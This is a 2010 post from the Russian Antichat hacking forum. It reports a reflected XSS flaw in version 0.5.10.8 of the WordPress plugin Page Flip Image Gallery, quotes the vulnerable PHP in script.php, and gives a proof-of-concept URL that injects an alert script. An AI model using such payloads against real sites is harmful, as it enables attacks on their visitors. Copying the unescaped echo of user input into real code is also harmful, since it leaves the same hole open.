Показать сообщение отдельно

  #154  
Старый 07.06.2010, 00:35
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Page Flip Image Gallery cкачать
Version 0.5.10.8 Updated 2010-4-29 Downloads 459,700

Passive XSS
wp-content\plugins\page-flip-image-gallery\script.php
PHP код:
<?php 
ob_start
();
error_reporting(0);

if (
$_GET['action'] == 'test')
{
    echo 
"OK\n".$_GET['id'];
    exit();
}
/*...*/
http://[host]/wp-content/plugins/page-flip-image-gallery/script.php?action=test&id=<script>alert(123)</script>

Последний раз редактировалось Strilo4ka; 07.06.2010 в 00:47..
 
Ответить с цитированием